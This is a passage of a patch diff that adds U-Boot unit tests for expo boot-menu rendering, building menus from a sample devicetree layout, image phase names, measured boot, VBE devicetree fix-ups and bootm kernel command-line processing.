+ ut_assert(pointer_id > 0);
+
+ ut_assertok(scene_menu_set_pointer(scn, OBJ_MENU, POINTER_TEXT));
+ ut_asserteq(POINTER_TEXT, menu->pointer_id);
+
+ label_id = scene_txt_str(scn, "label1", ITEM1_LABEL, STR_ITEM1_LABEL,
+ "Play", &name1);
+ ut_assert(label_id > 0);
+
+ desc_id = scene_txt_str(scn, "desc1", ITEM1_DESC, STR_ITEM1_DESC,
+ "Lord Melchett", &desc1);
+ ut_assert(desc_id > 0);
+
+ key_id = scene_txt_str(scn, "item1-key", ITEM1_KEY, STR_ITEM1_KEY, "1",
+ &key1);
+ ut_assert(key_id > 0);
+
+ preview_id = scene_txt_str(scn, "item1-preview", ITEM1_PREVIEW,
+ STR_ITEM1_PREVIEW, "(preview1)", &prev1);
+ ut_assert(preview_id > 0);
+
+ id = scene_menuitem(scn, OBJ_MENU, "linux", ITEM1, ITEM1_KEY,
+ ITEM1_LABEL, ITEM1_DESC, ITEM1_PREVIEW, 0, &item);
+ ut_asserteq(ITEM1, id);
+ ut_asserteq(id, item->id);
+ ut_asserteq(key_id, item->key_id);
+ ut_asserteq(label_id, item->label_id);
+ ut_asserteq(desc_id, item->desc_id);
+ ut_asserteq(preview_id, item->preview_id);
+
+ ut_assertok(scene_arrange(scn));
+
+ /* arranging the scene should cause the first item to become current */
+ ut_asserteq(id, menu->cur_item_id);
+
+ /* the title should be at the top */
+ ut_asserteq(menu->obj.dim.x, tit->obj.dim.x);
+ ut_asserteq(menu->obj.dim.y, tit->obj.dim.y);
+
+ /* the first item should be next */
+ ut_asserteq(menu->obj.dim.x, name1->obj.dim.x);
+ ut_asserteq(menu->obj.dim.y + 32, name1->obj.dim.y);
+
+ ut_asserteq(menu->obj.dim.x + 230, key1->obj.dim.x);
+ ut_asserteq(menu->obj.dim.y + 32, key1->obj.dim.y);
+
+ ut_asserteq(menu->obj.dim.x + 200, ptr->obj.dim.x);
+ ut_asserteq(menu->obj.dim.y + 32, ptr->obj.dim.y);
+
+ ut_asserteq(menu->obj.dim.x + 280, desc1->obj.dim.x);
+ ut_asserteq(menu->obj.dim.y + 32, desc1->obj.dim.y);
+
+ ut_asserteq(-4, prev1->obj.dim.x);
+ ut_asserteq(menu->obj.dim.y + 32, prev1->obj.dim.y);
+ ut_asserteq(true, prev1->obj.flags & SCENEOF_HIDE);
+
+ /* check iterating through scene items */
+ memset(&priv, '\0', sizeof(priv));
+ ut_assertok(expo_iter_scene_objs(exp, h_test_iter, &priv));
+ ut_asserteq(7, priv.count);
+ ut_asserteq(1, priv.menu_count);
+
+ /* check the iterator failing part way through iteration */
+ memset(&priv, '\0', sizeof(priv));
+ priv.fail_at = key_id;
+ ut_asserteq(-EINVAL, expo_iter_scene_objs(exp, h_test_iter, &priv));
+
+ /* 2 items (preview_id and the menuitem) are after key_id, 7 - 2 = 5 */
+ ut_asserteq(5, priv.count);
+
+ /* menu is first, so is still processed */
+ ut_asserteq(1, priv.menu_count);
+
+ expo_destroy(exp);
+
+ ut_assertok(ut_check_delta(start_mem));
+
+ return 0;
+}
+BOOTSTD_TEST(expo_object_menu, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check rendering a scene */
+static int expo_render_image(struct unit_test_state *uts)
+{
+ struct scene_obj_menu *menu;
+ struct scene *scn, *scn2;
+ struct expo_action act;
+ struct scene_obj *obj;
+ struct udevice *dev;
+ struct expo *exp;
+ int id;
+
+ console_record_reset_enable();
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO, &dev));
+
+ ut_assertok(expo_new(EXPO_NAME, NULL, &exp));
+ id = scene_new(exp, SCENE_NAME1, SCENE1, &scn);
+ ut_assert(id > 0);
+ ut_assertok(expo_set_display(exp, dev));
+
+ id = scene_img(scn, "logo", OBJ_LOGO, video_get_u_boot_logo(), NULL);
+ ut_assert(id > 0);
+ ut_assertok(scene_obj_set_pos(scn, OBJ_LOGO, 50, 20));
+
+ id = scene_txt_str(scn, "text", OBJ_TEXT, STR_TEXT, "my string", NULL);
+ ut_assert(id > 0);
+ ut_assertok(scene_txt_set_font(scn, OBJ_TEXT, "cantoraone_regular",
+ 40));
+ ut_assertok(scene_obj_set_pos(scn, OBJ_TEXT, 400, 100));
+
+ id = scene_txt_str(scn, "text", OBJ_TEXT2, STR_TEXT2, "another string",
+ NULL);
+ ut_assert(id > 0);
+ ut_assertok(scene_txt_set_font(scn, OBJ_TEXT2, "nimbus_sans_l_regular",
+ 60));
+ ut_assertok(scene_obj_set_pos(scn, OBJ_TEXT2, 200, 600));
+
+ id = scene_menu(scn, "main", OBJ_MENU, &menu);
+ ut_assert(id > 0);
+
+ id = scene_txt_str(scn, "title", OBJ_MENU_TITLE, STR_MENU_TITLE,
+ "Main Menu", NULL);
+ ut_assert(id > 0);
+ ut_assertok(scene_menu_set_title(scn, OBJ_MENU, OBJ_MENU_TITLE));
+
+ id = scene_txt_str(scn, "cur_item", POINTER_TEXT, STR_POINTER_TEXT, ">",
+ NULL);
+ ut_assert(id > 0);
+ ut_assertok(scene_menu_set_pointer(scn, OBJ_MENU, POINTER_TEXT));
+
+ id = scene_txt_str(scn, "label1", ITEM1_LABEL, STR_ITEM1_LABEL, "Play",
+ NULL);
+ ut_assert(id > 0);
+ id = scene_txt_str(scn, "item1 txt", ITEM1_DESC, STR_ITEM1_DESC,
+ "Lord Melchett", NULL);
+ ut_assert(id > 0);
+ id = scene_txt_str(scn, "item1-key", ITEM1_KEY, STR_ITEM1_KEY, "1",
+ NULL);
+ ut_assert(id > 0);
+ id = scene_img(scn, "item1-preview", ITEM1_PREVIEW,
+ video_get_u_boot_logo(), NULL);
+ id = scene_menuitem(scn, OBJ_MENU, "item1", ITEM1, ITEM1_KEY,
+ ITEM1_LABEL, ITEM1_DESC, ITEM1_PREVIEW, 0, NULL);
+ ut_assert(id > 0);
+
+ id = scene_txt_str(scn, "label2", ITEM2_LABEL, STR_ITEM2_LABEL, "Now",
+ NULL);
+ ut_assert(id > 0);
+ id = scene_txt_str(scn, "item2 txt", ITEM2_DESC, STR_ITEM2_DESC,
+ "Lord Percy", NULL);
+ ut_assert(id > 0);
+ id = scene_txt_str(scn, "item2-key", ITEM2_KEY, STR_ITEM2_KEY, "2",
+ NULL);
+ ut_assert(id > 0);
+ id = scene_img(scn, "item2-preview", ITEM2_PREVIEW,
+ video_get_u_boot_logo(), NULL);
+ ut_assert(id > 0);
+
+ id = scene_menuitem(scn, OBJ_MENU, "item2", ITEM2, ITEM2_KEY,
+ ITEM2_LABEL, ITEM2_DESC, ITEM2_PREVIEW, 0, NULL);
+ ut_assert(id > 0);
+
+ ut_assertok(scene_obj_set_pos(scn, OBJ_MENU, 50, 400));
+
+ scn2 = expo_lookup_scene_id(exp, SCENE1);
+ ut_asserteq_ptr(scn, scn2);
+ scn2 = expo_lookup_scene_id(exp, SCENE2);
+ ut_assertnull(scn2);
+
+ /* render without a scene */
+ ut_asserteq(-ECHILD, expo_render(exp));
+
+ ut_assertok(expo_calc_dims(exp));
+ ut_assertok(scene_arrange(scn));
+
+ /* check dimensions of text */
+ obj = scene_obj_find(scn, OBJ_TEXT, SCENEOBJT_NONE);
+ ut_assertnonnull(obj);
+ ut_asserteq(400, obj->dim.x);
+ ut_asserteq(100, obj->dim.y);
+ ut_asserteq(126, obj->dim.w);
+ ut_asserteq(40, obj->dim.h);
+
+ /* check dimensions of image */
+ obj = scene_obj_find(scn, OBJ_LOGO, SCENEOBJT_NONE);
+ ut_assertnonnull(obj);
+ ut_asserteq(50, obj->dim.x);
+ ut_asserteq(20, obj->dim.y);
+ ut_asserteq(160, obj->dim.w);
+ ut_asserteq(160, obj->dim.h);
+
+ /* check dimensions of menu labels - both should be the same width */
+ obj = scene_obj_find(scn, ITEM1_LABEL, SCENEOBJT_NONE);
+ ut_assertnonnull(obj);
+ ut_asserteq(50, obj->dim.x);
+ ut_asserteq(436, obj->dim.y);
+ ut_asserteq(29, obj->dim.w);
+ ut_asserteq(18, obj->dim.h);
+
+ obj = scene_obj_find(scn, ITEM2_LABEL, SCENEOBJT_NONE);
+ ut_assertnonnull(obj);
+ ut_asserteq(50, obj->dim.x);
+ ut_asserteq(454, obj->dim.y);
+ ut_asserteq(29, obj->dim.w);
+ ut_asserteq(18, obj->dim.h);
+
+ /* check dimensions of menu */
+ obj = scene_obj_find(scn, OBJ_MENU, SCENEOBJT_NONE);
+ ut_assertnonnull(obj);
+ ut_asserteq(50, obj->dim.x);
+ ut_asserteq(400, obj->dim.y);
+ ut_asserteq(160, obj->dim.w);
+ ut_asserteq(160, obj->dim.h);
+
+ /* render it */
+ expo_set_scene_id(exp, SCENE1);
+ ut_assertok(expo_render(exp));
+
+ /* move down */
+ ut_assertok(expo_send_key(exp, BKEY_DOWN));
+
+ ut_assertok(expo_action_get(exp, &act));
+
+ ut_asserteq(EXPOACT_POINT_ITEM, act.type);
+ ut_asserteq(ITEM2, act.select.id);
+ ut_assertok(expo_render(exp));
+
+ /* make sure only the preview for the second item is shown */
+ obj = scene_obj_find(scn, ITEM1_PREVIEW, SCENEOBJT_NONE);
+ ut_asserteq(true, obj->flags & SCENEOF_HIDE);
+
+ obj = scene_obj_find(scn, ITEM2_PREVIEW, SCENEOBJT_NONE);
+ ut_asserteq(false, obj->flags & SCENEOF_HIDE);
+
+ /* select it */
+ ut_assertok(expo_send_key(exp, BKEY_SELECT));
+
+ ut_assertok(expo_action_get(exp, &act));
+ ut_asserteq(EXPOACT_SELECT, act.type);
+ ut_asserteq(ITEM2, act.select.id);
+
+ /* make sure the action doesn't come again */
+ ut_asserteq(-EAGAIN, expo_action_get(exp, &act));
+
+ /* make sure there was no console output */
+ ut_assert_console_end();
+
+ /* now try in text mode */
+ expo_set_text_mode(exp, true);
+ ut_assertok(expo_render(exp));
+
+ ut_assert_nextline("U-Boot : Boot Menu");
+ ut_assert_nextline("%s", "");
+ ut_assert_nextline("Main Menu");
+ ut_assert_nextline("%s", "");
+ ut_assert_nextline(" 1 Play Lord Melchett");
+ ut_assert_nextline(" > 2 Now Lord Percy");
+
+ /* Move back up to the first item */
+ ut_assertok(expo_send_key(exp, BKEY_UP));
+
+ ut_assertok(expo_action_get(exp, &act));
+
+ ut_asserteq(EXPOACT_POINT_ITEM, act.type);
+ ut_asserteq(ITEM1, act.select.id);
+
+ ut_assertok(expo_render(exp));
+ ut_assert_nextline("U-Boot : Boot Menu");
+ ut_assert_nextline("%s", "");
+ ut_assert_nextline("Main Menu");
+ ut_assert_nextline("%s", "");
+ ut_assert_nextline(" > 1 Play Lord Melchett");
+ ut_assert_nextline(" 2 Now Lord Percy");
+
+ ut_assert_console_end();
+
+ expo_destroy(exp);
+
+ return 0;
+}
+BOOTSTD_TEST(expo_render_image, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check building an expo from a devicetree description */
+static int expo_test_build(struct unit_test_state *uts)
+{
+ struct scene_obj_menu *menu;
+ struct scene_menitem *item;
+ struct scene_obj_txt *txt;
+ struct scene_obj *obj;
+ struct scene *scn;
+ struct expo *exp;
+ int count;
+ ofnode node;
+
+ node = ofnode_path("/cedit");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(expo_build(node, &exp));
+
+ ut_asserteq_str("name", exp->name);
+ ut_asserteq(0, exp->scene_id);
+ ut_asserteq(ID_DYNAMIC_START + 24, exp->next_id);
+ ut_asserteq(false, exp->popup);
+
+ /* check the scene */
+ scn = expo_lookup_scene_id(exp, ID_SCENE1);
+ ut_assertnonnull(scn);
+ ut_asserteq_str("main", scn->name);
+ ut_asserteq(ID_SCENE1, scn->id);
+ ut_asserteq(ID_DYNAMIC_START + 1, scn->title_id);
+ ut_asserteq(0, scn->highlight_id);
+
+ /* check the title */
+ txt = scene_obj_find(scn, scn->title_id, SCENEOBJT_NONE);
+ ut_assertnonnull(txt);
+ obj = &txt->obj;
+ ut_asserteq_ptr(scn, obj->scene);
+ ut_asserteq_str("title", obj->name);
+ ut_asserteq(scn->title_id, obj->id);
+ ut_asserteq(SCENEOBJT_TEXT, obj->type);
+ ut_asserteq(0, obj->flags);
+ ut_asserteq_str("Test Configuration", expo_get_str(exp, txt->str_id));
+
+ /* check the menu */
+ menu = scene_obj_find(scn, ID_CPU_SPEED, SCENEOBJT_NONE);
+ obj = &menu->obj;
+ ut_asserteq_ptr(scn, obj->scene);
+ ut_asserteq_str("cpu-speed", obj->name);
+ ut_asserteq(ID_CPU_SPEED, obj->id);
+ ut_asserteq(SCENEOBJT_MENU, obj->type);
+ ut_asserteq(0, obj->flags);
+
+ txt = scene_obj_find(scn, menu->title_id, SCENEOBJT_NONE);
+ ut_asserteq_str("CPU speed", expo_get_str(exp, txt->str_id));
+
+ ut_asserteq(0, menu->cur_item_id);
+ ut_asserteq(0, menu->pointer_id);
+
+ /* check the items */
+ item = list_first_entry(&menu->item_head, struct scene_menitem,
+ sibling);
+ ut_asserteq_str("00", item->name);
+ ut_asserteq(ID_CPU_SPEED_1, item->id);
+ ut_asserteq(0, item->key_id);
+ ut_asserteq(0, item->desc_id);
+ ut_asserteq(0, item->preview_id);
+ ut_asserteq(0, item->flags);
+
+ txt = scene_obj_find(scn, item->label_id, SCENEOBJT_NONE);
+ ut_asserteq_str("2 GHz", expo_get_str(exp, txt->str_id));
+
+ count = 0;
+ list_for_each_entry(item, &menu->item_head, sibling)
+ count++;
+ ut_asserteq(3, count);
+
+ expo_destroy(exp);
+
+ return 0;
+}
+BOOTSTD_TEST(expo_test_build, UT_TESTF_DM);
diff --git a/test/boot/files/expo_ids.h b/test/boot/files/expo_ids.h
new file mode 100644
index 00000000000..a86e0d06f6b
--- /dev/null
+++ b/test/boot/files/expo_ids.h
@@ -0,0 +1,28 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Sample expo screen layout (ID numbers)
+ */
+
+enum {
+ ZERO,
+ ID_PROMPT,
+
+ ID_SCENE1,
+ ID_SCENE1_TITLE,
+
+ ID_CPU_SPEED,
+ ID_CPU_SPEED_TITLE,
+ ID_CPU_SPEED_1,
+ ID_CPU_SPEED_2,
+ ID_CPU_SPEED_3,
+
+ ID_POWER_LOSS,
+ ID_AC_OFF,
+ ID_AC_ON,
+ ID_AC_MEMORY,
+
+ ID_MACHINE_NAME,
+ ID_MACHINE_NAME_EDIT,
+
+ ID_DYNAMIC_START,
+};
diff --git a/test/boot/files/expo_layout.dts b/test/boot/files/expo_layout.dts
new file mode 100644
index 00000000000..bed552288f4
--- /dev/null
+++ b/test/boot/files/expo_layout.dts
@@ -0,0 +1,76 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Sample expo screen layout
+ */
+
+/dts-v1/;
+
+/* see expo_ids.h for the IDs */
+
+/ {
+ dynamic-start = <ID_DYNAMIC_START>;
+
+ scenes {
+ main {
+ id = <ID_SCENE1>;
+
+ /* value refers to the matching id in /strings */
+ title-id = <ID_SCENE1_TITLE>;
+
+ /* simple string is used as it is */
+ prompt = "UP and DOWN to choose, ENTER to select";
+
+ /* defines a menu within the scene */
+ cpu-speed {
+ type = "menu";
+ id = <ID_CPU_SPEED>;
+
+ /*
+ * has both string and ID. The string is ignored
+ * if the ID is present and points to a string
+ */
+ title = "CPU speed";
+ title-id = <ID_CPU_SPEED_TITLE>;
+
+ /* menu items as simple strings */
+ item-label = "2 GHz", "2.5 GHz", "3 GHz";
+
+ /* IDs for the menu items */
+ item-id = <ID_CPU_SPEED_1 ID_CPU_SPEED_2
+ ID_CPU_SPEED_3>;
+
+ start-bit = <0x400>;
+ bit-length = <2>;
+ };
+
+ power-loss {
+ type = "menu";
+ id = <ID_POWER_LOSS>;
+
+ title = "AC Power";
+ item-label = "Always Off", "Always On",
+ "Memory";
+
+ item-id = <ID_AC_OFF ID_AC_ON ID_AC_MEMORY>;
+ start-bit = <0x422>;
+ bit-length = <2>;
+ };
+
+ machine-name {
+ id = <ID_MACHINE_NAME>;
+ type = "textline";
+ max-chars = <20>;
+ title = "Machine name";
+ edit-id = <ID_MACHINE_NAME_EDIT>;
+ };
+ };
+ };
+
+ strings {
+ title {
+ id = <ID_SCENE1_TITLE>;
+ value = "Test Configuration";
+ value-es = "configuración de prueba";
+ };
+ };
+};
diff --git a/test/boot/image.c b/test/boot/image.c
new file mode 100644
index 00000000000..0894e30587f
--- /dev/null
+++ b/test/boot/image.c
@@ -0,0 +1,35 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for vbe-simple bootmeth. All start with 'vbe_simple'
+ *
+ * Copyright 2023 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <image.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+
+/* Test of image phase */
+static int test_image_phase(struct unit_test_state *uts)
+{
+ int val;
+
+ ut_asserteq_str("U-Boot phase", genimg_get_phase_name(IH_PHASE_U_BOOT));
+ ut_asserteq_str("SPL Phase", genimg_get_phase_name(IH_PHASE_SPL));
+ ut_asserteq_str("any", genimg_get_phase_name(IH_PHASE_NONE));
+ ut_asserteq_str("Unknown Phase", genimg_get_phase_name(-1));
+
+ ut_asserteq(IH_PHASE_U_BOOT, genimg_get_phase_id("u-boot"));
+ ut_asserteq(IH_PHASE_SPL, genimg_get_phase_id("spl"));
+ ut_asserteq(IH_PHASE_NONE, genimg_get_phase_id("none"));
+ ut_asserteq(-1, genimg_get_phase_id("fred"));
+
+ val = image_ph(IH_PHASE_SPL, IH_TYPE_FIRMWARE);
+ ut_asserteq(IH_PHASE_SPL, image_ph_phase(val));
+ ut_asserteq(IH_TYPE_FIRMWARE, image_ph_type(val));
+
+ return 0;
+}
+BOOTSTD_TEST(test_image_phase, 0);
diff --git a/test/boot/measurement.c b/test/boot/measurement.c
new file mode 100644
index 00000000000..29be495412d
--- /dev/null
+++ b/test/boot/measurement.c
@@ -0,0 +1,65 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for measured boot functions
+ *
+ * Copyright 2023 IBM Corp.
+ * Written by Eddie James <eajames@linux.ibm.com>
+ */
+
+#include <bootm.h>
+#include <malloc.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include <asm/io.h>
+
+#define MEASUREMENT_TEST(_name, _flags) \
+ UNIT_TEST(_name, _flags, measurement_test)
+
+static int measure(struct unit_test_state *uts)
+{
+ struct bootm_headers images;
+ const size_t size = 1024;
+ u8 *kernel;
+ u8 *initrd;
+ size_t i;
+
+ kernel = malloc(size);
+ initrd = malloc(size);
+
+ images.os.image_start = map_to_sysmem(kernel);
+ images.os.image_len = size;
+
+ images.rd_start = map_to_sysmem(initrd);
+ images.rd_end = images.rd_start + size;
+
+ images.ft_addr = malloc(size);
+ images.ft_len = size;
+
+ env_set("bootargs", "measurement testing");
+
+ for (i = 0; i < size; ++i) {
+ kernel[i] = 0xf0 | (i & 0xf);
+ initrd[i] = (i & 0xf0) | 0xf;
+ images.ft_addr[i] = i & 0xff;
+ }
+
+ ut_assertok(bootm_measure(&images));
+
+ free(images.ft_addr);
+ free(initrd);
+ free(kernel);
+
+ return 0;
+}
+MEASUREMENT_TEST(measure, 0);
+
+int do_ut_measurement(struct cmd_tbl *cmdtp, int flag, int argc,
+ char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(measurement_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(measurement_test);
+
+ return cmd_ut_category("measurement", "measurement_test_", tests,
+ n_ents, argc, argv);
+}
diff --git a/test/boot/vbe_fixup.c b/test/boot/vbe_fixup.c
new file mode 100644
index 00000000000..540816e42b0
--- /dev/null
+++ b/test/boot/vbe_fixup.c
@@ -0,0 +1,55 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for VBE device tree fix-ups
+ *
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <dm/ofnode.h>
+#include <linux/libfdt.h>
+#include <test/test.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+
+/*
+ * Basic test of reading nvdata and updating a fwupd node in the device tree
+ * This test works when called from test_vbe.py and it must use the flat tree,
+ * since device tree fix-ups do not yet support live tree.
+ */
+static int vbe_test_fixup_norun(struct unit_test_state *uts)
+{
+ ofnode chosen, node;
+ const char *data;
+ oftree tree;
+ int size;
+
+ tree = oftree_from_fdt(working_fdt);
+ ut_assert(oftree_valid(tree));
+
+ chosen = oftree_path(tree, "/chosen");
+ ut_assert(ofnode_valid(chosen));
+
+ /* check the things set up for the FIT in test_vbe.py */
+ node = ofnode_find_subnode(chosen, "random");
+
+ /* ignore if this test is run on its own */
+ if (!ofnode_valid(node))
+ return 0;
+ data = ofnode_read_prop(node, "data", &size);
+ ut_asserteq(0x40, size);
+
+ node = ofnode_find_subnode(chosen, "aslr2");
+ ut_assert(ofnode_valid(node));
+ data = ofnode_read_prop(node, "data", &size);
+ ut_asserteq(4, size);
+
+ node = ofnode_find_subnode(chosen, "efi-runtime");
+ ut_assert(ofnode_valid(node));
+ data = ofnode_read_prop(node, "data", &size);
+ ut_asserteq(4, size);
+
+ return 0;
+}
+BOOTSTD_TEST(vbe_test_fixup_norun, UT_TESTF_DM | UT_TESTF_SCAN_FDT |
+ UT_TESTF_FLAT_TREE | UT_TESTF_MANUAL);
diff --git a/test/boot/vbe_simple.c b/test/boot/vbe_simple.c
new file mode 100644
index 00000000000..3672b744e5f
--- /dev/null
+++ b/test/boot/vbe_simple.c
@@ -0,0 +1,88 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for vbe-simple bootmeth. All start with 'vbe_simple'
+ *
+ * Copyright 2023 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <bootmeth.h>
+#include <dm.h>
+#include <image.h>
+#include <of_live.h>
+#include <vbe.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+
+/*
+ * Basic test of reading nvdata and updating a fwupd node in the device tree
+ *
+ * This sets up its own VBE info in the device, using bootstd_setup_for_tests()
+ * then does a VBE fixup and checks that everything is present.
+ */
+static int vbe_simple_test_base(struct unit_test_state *uts)
+{
+ const char *version, *bl_version;
+ struct event_ft_fixup fixup;
+ struct udevice *dev;
+ struct device_node *np;
+ char fdt_buf[0x400];
+ char info[100];
+ int node_ofs;
+ ofnode node;
+ u32 vernum;
+
+ /* Set up the VBE info */
+ ut_assertok(bootstd_setup_for_tests());
+
+ /* Read the version back */
+ ut_assertok(vbe_find_by_any("firmware0", &dev));
+ ut_assertok(bootmeth_get_state_desc(dev, info, sizeof(info)));
+ ut_asserteq_str("Version: " TEST_VERSION "\nVernum: 1/2", info);
+
+ ut_assertok(fdt_create_empty_tree(fdt_buf, sizeof(fdt_buf)));
+ node_ofs = fdt_add_subnode(fdt_buf, 0, "chosen");
+ ut_assert(node_ofs > 0);
+
+ node_ofs = fdt_add_subnode(fdt_buf, node_ofs, "fwupd");
+ ut_assert(node_ofs > 0);
+
+ node_ofs = fdt_add_subnode(fdt_buf, node_ofs, "firmware0");
+ ut_assert(node_ofs > 0);
+
+ if (of_live_active()) {
+ ut_assertok(unflatten_device_tree(fdt_buf, &np));
+ fixup.tree = oftree_from_np(np);
+ } else {
+ fixup.tree = oftree_from_fdt(fdt_buf);
+ }
+
+ /*
+ * It would be better to call image_setup_libfdt() here, but that
+ * function does not allow passing an ofnode. We can pass fdt_buf but
+ * when it comes to send the event, it creates an ofnode that uses the
+ * control FDT, since it has no way of accessing the live tree created
+ * here.
+ *
+ * Two fix this we need image_setup_libfdt() is updated to use ofnode
+ */
+ fixup.images = NULL;
+ ut_assertok(event_notify(EVT_FT_FIXUP, &fixup, sizeof(fixup)));
+
+ node = oftree_path(fixup.tree, "/chosen/fwupd/firmware0");
+
+ version = ofnode_read_string(node, "cur-version");
+ ut_assertnonnull(version);
+ ut_asserteq_str(TEST_VERSION, version);
+
+ ut_assertok(ofnode_read_u32(node, "cur-vernum", &vernum));
+ ut_asserteq(TEST_VERNUM, vernum);
+
+ bl_version = ofnode_read_string(node, "bootloader-version");
+ ut_assertnonnull(bl_version);
+ ut_asserteq_str(version_string + 7, bl_version);
+
+ return 0;
+}
+BOOTSTD_TEST(vbe_simple_test_base, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
diff --git a/test/bootm.c b/test/bootm.c
new file mode 100644
index 00000000000..26c15552bf6
--- /dev/null
+++ b/test/bootm.c
@@ -0,0 +1,248 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Tests for bootm routines
+ *
+ * Copyright 2020 Google LLC
+ */
+
+#include <bootm.h>
+#include <asm/global_data.h>
+#include <test/suites.h>
+#include <test/test.h>
+#include <test/ut.h>
+
+DECLARE_GLOBAL_DATA_PTR;
+
+#define BOOTM_TEST(_name, _flags) UNIT_TEST(_name, _flags, bootm_test)
+
+enum {
+ BUF_SIZE = 1024,
+};
+
+#define CONSOLE_STR "console=/dev/ttyS0"
+
+/* Test cmdline processing where nothing happens */
+static int bootm_test_nop(struct unit_test_state *uts)
+{
+ char buf[BUF_SIZE];
+
+ *buf = '\0';
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, true));
+ ut_asserteq_str("", buf);
+
+ strcpy(buf, "test");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, true));
+ ut_asserteq_str("test", buf);
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_nop, 0);
+
+/* Test cmdline processing when out of space */
+static int bootm_test_nospace(struct unit_test_state *uts)
+{
+ char buf[BUF_SIZE];
+
+ /* Zero buffer size */
+ *buf = '\0';
+ ut_asserteq(-ENOSPC, bootm_process_cmdline(buf, 0, true));
+
+ /* Buffer string not terminated */
+ memset(buf, 'a', BUF_SIZE);
+ ut_asserteq(-ENOSPC, bootm_process_cmdline(buf, BUF_SIZE, true));
+
+ /* Not enough space to copy string */
+ memset(buf, '\0', BUF_SIZE);
+ memset(buf, 'a', BUF_SIZE / 2);
+ ut_asserteq(-ENOSPC, bootm_process_cmdline(buf, BUF_SIZE, true));
+
+ /* Just enough space */
+ memset(buf, '\0', BUF_SIZE);
+ memset(buf, 'a', BUF_SIZE / 2 - 1);
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, true));
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_nospace, 0);
+
+/* Test silent processing */
+static int bootm_test_silent(struct unit_test_state *uts)
+{
+ char buf[BUF_SIZE];
+
+ /* 'silent_linux' not set should do nothing */
+ env_set("silent_linux", NULL);
+ strcpy(buf, CONSOLE_STR);
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SILENT));
+ ut_asserteq_str(CONSOLE_STR, buf);
+
+ ut_assertok(env_set("silent_linux", "no"));
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SILENT));
+ ut_asserteq_str(CONSOLE_STR, buf);
+
+ ut_assertok(env_set("silent_linux", "yes"));
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SILENT));
+ ut_asserteq_str("console=ttynull", buf);
+
+ /* Empty buffer should still add the string */
+ *buf = '\0';
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SILENT));
+ ut_asserteq_str("console=ttynull", buf);
+
+ /* Check nothing happens when do_silent is false */
+ *buf = '\0';
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, 0));
+ ut_asserteq_str("", buf);
+
+ /* Not enough space */
+ *buf = '\0';
+ ut_asserteq(-ENOSPC, bootm_process_cmdline(buf, 15, BOOTM_CL_SILENT));
+
+ /* Just enough space */
+ *buf = '\0';
+ ut_assertok(bootm_process_cmdline(buf, 16, BOOTM_CL_SILENT));
+
+ /* add at end */
+ strcpy(buf, "something");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SILENT));
+ ut_asserteq_str("something console=ttynull", buf);
+
+ /* change at start */
+ strcpy(buf, CONSOLE_STR " something");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SILENT));
+ ut_asserteq_str("console=ttynull something", buf);
+
+ return 0;
+}
+BOOTM_TEST(bootm_test_silent, 0);
+
+/* Test substitution processing */
+static int bootm_test_subst(struct unit_test_state *uts)
+{
+ char buf[BUF_SIZE];
+
+ /* try with an unset variable */
+ ut_assertok(env_set("var", NULL));
+ strcpy(buf, "some${var}thing");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("something", buf);
+
+ /* Replace with shorter string */
+ ut_assertok(env_set("var", "bb"));
+ strcpy(buf, "some${var}thing");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("somebbthing", buf);
+
+ /* Replace with same-length string */
+ ut_assertok(env_set("var", "abc"));
+ strcpy(buf, "some${var}thing");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("someabcthing", buf);
+
+ /* Replace with longer string */
+ ut_assertok(env_set("var", "abcde"));
+ strcpy(buf, "some${var}thing");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("someabcdething", buf);
+
+ /* Check it is case sensitive */
+ ut_assertok(env_set("VAR", NULL));
+ strcpy(buf, "some${VAR}thing");
+ ut_assertok(bootm_process_cmdline(buf, BUF_SIZE, BOOTM_CL_SUBST));
+ ut_asserteq_str("something", buf);
+
+ /* Check too long - need 12 bytes for each string */
+ strcpy(buf, "some${var}thing");
+ ut_asserteq(-ENOSPC,
+ bootm_process_cmdline(buf, 12 * 2 - 1, BOOTM_CL_SUBST));
+
